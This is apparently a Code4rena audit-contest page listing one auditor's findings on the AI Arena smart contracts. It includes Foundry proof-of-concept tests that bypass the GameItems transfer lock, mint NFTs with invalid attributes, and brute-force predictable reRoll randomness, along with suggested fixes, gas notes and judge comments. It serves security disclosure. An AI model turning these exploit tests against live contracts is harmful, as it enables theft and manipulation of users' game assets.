Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 49/283
Findings: 5
Award: $127.23
π Selected for report: 0
π Solo Findings: 0
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
In GameItems.sol
, one of the properties of items in wether they can be transfered between users, as defined in the parameter transferable
. This propertie is enforeced by overriding safeTransferFrom
and checking if the item is allowed to be Transfered.
However the used ERC1155 has another function for token transfer which is safeBatchTransferFrom
. By using this function to transfer tokens users can get around the lock defined by the parameter transferable
.
Add the following code to GameItems.t.sol
, and run forge test --mt testBypassTransferFromLock
function testBypassTransferFromLock() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.adjustTransferability(0, false); _gameItemsContract.mint(0, 1); vm.expectRevert(); _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, ""); uint256[] memory ids = new uint256[](1); uint256[] memory amounts = new uint256[](1); amounts[0] = 1; _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, ""); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0); }
Foundry
To correct this issue add an override to safeBatchTransferFrom
in GameItems.sol
like so:
function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not token owner nor approved" ); for (uint256 i = 0; i < ids.length;) { require(allGameItemAttributes[ids[i]].transferable, "can't transfer"); unchecked { i++; } } _safeBatchTransferFrom(from, to, ids, amounts, data); }
Other
#0 - c4-pre-sort
2024-02-22T03:27:12Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:27:19Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:27:12Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:50:23Z
HickupHH3 marked the issue as satisfactory
π Selected for report: abhishek_thaku_r
Also found by: 0xAlix2, 0xDetermination, 0xShitgem, Draiakoo, Fulum, Greed, MrPotatoMagic, PoeAudits, Tychai0s, ahmedaghadi, alexzoid, dimulski, fnanni, givn, iamandreiski, immeas, kartik_giri_47538, kiqo, klau5, korok, ktg, maxim371, offside0011, pontifex, sashik_eth, stakog, swizz, yotov721
111.676 USDC - $111.68
Any NFT minted in FighterFarm.sol
with ID larger than 255 will not be able to call reRoll
.
Pasting the following function in FighterFarm.t.sol
will cause the compiler to throw an error.
function testReRollIdLarger255() public { _fighterFarmContract.reRoll(256, 0); }
Foundry
Change tokenId
from uint8 to uint256
- function reRoll(uint8 tokenId, uint8 fighterType) public + function reRoll(uint256 tokenId, uint8 fighterType) public
DoS
#0 - c4-pre-sort
2024-02-21T23:52:05Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-21T23:52:25Z
raymondfam marked the issue as duplicate of #68
#2 - c4-judge
2024-03-05T01:54:50Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-05T02:03:56Z
HickupHH3 changed the severity to 3 (High Risk)
π Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
1.876 USDC - $1.88
Users that win a raffle in MerginPool.sol
, can call claimRewards
function to mint and NFT in FighterFarm::mintFromMergingPool
, with their desired attributes. These attributes are not validated leading to the creation of a NFT with invalid attributes.
For example in the first generation of NFT it is specified in the constructor that the number of available elements is 3. However we can pass an arbitrary number in claimRewards
and have the element attribute of the NFT be any number.
Place the following code in MergingPool.t.sol
and run forge test --mt testMergingPoolClaimRewardsLetsUserPickInvalidElement
function testMergingPoolClaimRewardsLetsUserPickInvalidElement() public { _mintFromMergingPool(_ownerAddress); _mintFromMergingPool(_DELEGATED_ADDRESS); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; _mergingPoolContract.pickWinner(_winners); string[] memory _modelURIs = new string[](1); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](1); _modelTypes[0] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](1); _customAttributes[0][0] = type(uint256).max; _customAttributes[0][1] = type(uint256).max; // Mint NFT with ID = 2 _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); (,, uint256 weight, uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(2); assertEq(weight, type(uint256).max); assertEq(element, type(uint256).max); }
Foundry
Add validation to the customAttributes
input like so
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { + uint256 numElements = _fighterFarmInstance.numElements(0); + if(customAttributes[claimIndex][0] > numElements) revert(); _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
Invalid Validation
#0 - c4-pre-sort
2024-02-24T08:52:02Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T08:52:12Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:22:39Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
Users that own an NFT in FighterFarm.sol
can use FighterFarm::reRoll
to change the NFT attributes to any they desire.
For example, let's say a user wants a fighter with a weight of 65. They could generate wallets until the address used in the RNG of FighterFarm::reRoll
creates a fighter with weight 65, then transfer the NFT and the necessary Neuron
tokens to that address call reRoll
making the weight 65 and transfer NFT back to the original account.
Copy the following code into FighterFarm.t.sol
and run forge test --mt testRerollExploit
function testRerollExploit() public { _mintFromMergingPool(_ownerAddress); _fundUserWith4kNeuronByTreasury(_ownerAddress); uint256 numRerolls = _fighterFarmContract.numRerolls(0) + 1; uint8 tokenId = 0; uint8 fighterType = 0; //For example target wieght is 65 uint256 targetWeight = 65; address goodRNG; for (uint256 i = 1; i < 1000; i++) { goodRNG = vm.addr(i); uint256 dna = uint256(keccak256(abi.encode(goodRNG, tokenId, numRerolls))); if (dna % 31 + 65 == targetWeight) { break; } } console.log(goodRNG); vm.startPrank(_ownerAddress); _neuronContract.addSpender(address(_fighterFarmContract)); //transfer assets to good rng account _fighterFarmContract.transferFrom(_ownerAddress, goodRNG, 0); _neuronContract.transfer(goodRNG, _neuronContract.balanceOf(_ownerAddress)); vm.stopPrank(); vm.startPrank(goodRNG); _neuronContract.approve(address(_fighterFarmContract), type(uint256).max); _fighterFarmContract.reRoll(tokenId, fighterType); //transfer assets back to original account _neuronContract.transfer(_ownerAddress, _neuronContract.balanceOf(goodRNG)); _fighterFarmContract.transferFrom(goodRNG, _ownerAddress, 0); vm.stopPrank(); (uint256 weight,,,,,,,,) = _fighterFarmContract.fighters(0); assertEq(weight, targetWeight); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); }
This example was to get weight = 65, but this proccess could be perform to achieve any desired properites.
Foundry
To resolve this issue either use a Verifiable Random Function (VRF) provider such as Chainlink VRF, or since this project is already highly reliant on their external game servers use those to generate RNG for the NFT.
Other
#0 - c4-pre-sort
2024-02-23T03:41:06Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-23T03:41:20Z
raymondfam marked the issue as duplicate of #53
#2 - c4-pre-sort
2024-02-23T03:42:46Z
raymondfam marked the issue as sufficient quality report
#3 - c4-judge
2024-03-11T12:44:24Z
HickupHH3 marked the issue as satisfactory
#4 - c4-judge
2024-03-15T02:10:55Z
HickupHH3 changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-03-20T01:04:03Z
HickupHH3 marked the issue as duplicate of #376
π Selected for report: 0xDetermination
Also found by: 0x11singh99, 0xAnah, 0xRiO, JcFichtner, K42, MatricksDeCoder, McToady, PetarTolev, Raihan, SAQ, SM3_SS, SY_S, Timenov, ahmedaghadi, al88nsk, dharma09, donkicha, emrekocak, favelanky, hunter_w3b, judeabara, kiqo, lrivo, lsaudit, merlinboii, mikesans, offside0011, oualidpro, peter, rekxor, shamsulhaq123, unique, yashgoel72, yovchev_yoan, ziyou-
13.6293 USDC - $13.63
In VoltageManager.sol
changing the following mappings and event in the following fashion, leads to gas savings.
- event VoltageRemaining(address spender, uint8 voltage); + event VoltageRemaining(address spender, uint256 voltage); - mapping(address => uint32) public ownerVoltageReplenishTime; + mapping(address => uint256) public ownerVoltageReplenishTime; - mapping(address => uint8) public ownerVoltage; + mapping(address => uint256) public ownerVoltage;
By making the changes and running
forge test --mt testUseVolatgeBattery --gas-report
We get a gas saving of 130 gas when calling VoltManager::useVoltageBattery
And running
forge test --mt testSpendVoltageTriggerReplenishVoltage --gas-report
We get a gas saving of 463 gas when calling VoltManager::spendVoltage
In FighterOps.sol
, FighterPhysicalAttributes
are defined as
struct FighterPhysicalAttributes { uint256 head; uint256 eyes; uint256 mouth; uint256 body; uint256 hands; uint256 feet; }
This structure is stored in FighterFarm.sol
, and occupies 6 storage slots, however the values that are set for these attributes in AiArenaHelper::dnaToIndex
can only have a maximum value of 256.
Therefore we can change it to store them all in a single storage slot
struct FighterPhysicalAttributes { uint16 head; uint16 eyes; uint16 mouth; uint16 body; uint16 hands; uint16 feet; }
Also for Fighter
in the same file
struct Fighter { uint256 weight; uint256 element; FighterPhysicalAttributes physicalAttributes; uint256 id; string modelHash; string modelType; uint8 generation; uint8 iconsType; bool dendroidBool; }
Weight
and element
fields that are set in `FighterFarm::_createFighterBase can only have values below 256 therefore the struct can be changed to
struct Fighter { uint8 weight; uint8 element; uint8 generation; uint8 iconsType; bool dendroidBool; FighterPhysicalAttributes physicalAttributes; uint256 id; string modelHash; string modelType; }
For further gas savings in storage
In AiArenaHelper.sol
We can change the following mapping
- mapping(string => uint8) public attributeToDnaDivisor; + mapping(string => uint256) public attributeToDnaDivisor;
And running forge test --mt testClaimFighters --gas-report
we observe a saving of 36 gas when calling FighterFarm::claimFighters
In GameItems.sol
, when calling mint
the internal _mint()
function takes as argument bytes memory
which is set to a consant bytes(random)
, changing this
- _mint(msg.sender, tokenId, quantity, bytes("random")); + _mint(msg.sender, tokenId, quantity, "");
and running forge test --mt testAdjustTransferabilityFromOwner --gas-report
we observe a gas saving of 133 when using mint
RankedBattle.sol
has a duplicate storage variable named _stakeAtRiskAddress
, which value is equal to _stakeAtRiskInstance
#0 - raymondfam
2024-02-25T22:45:13Z
2 well-elaborated non-generic G.
#1 - c4-pre-sort
2024-02-25T22:45:16Z
raymondfam marked the issue as sufficient quality report
#2 - c4-judge
2024-03-19T07:42:38Z
HickupHH3 marked the issue as grade-b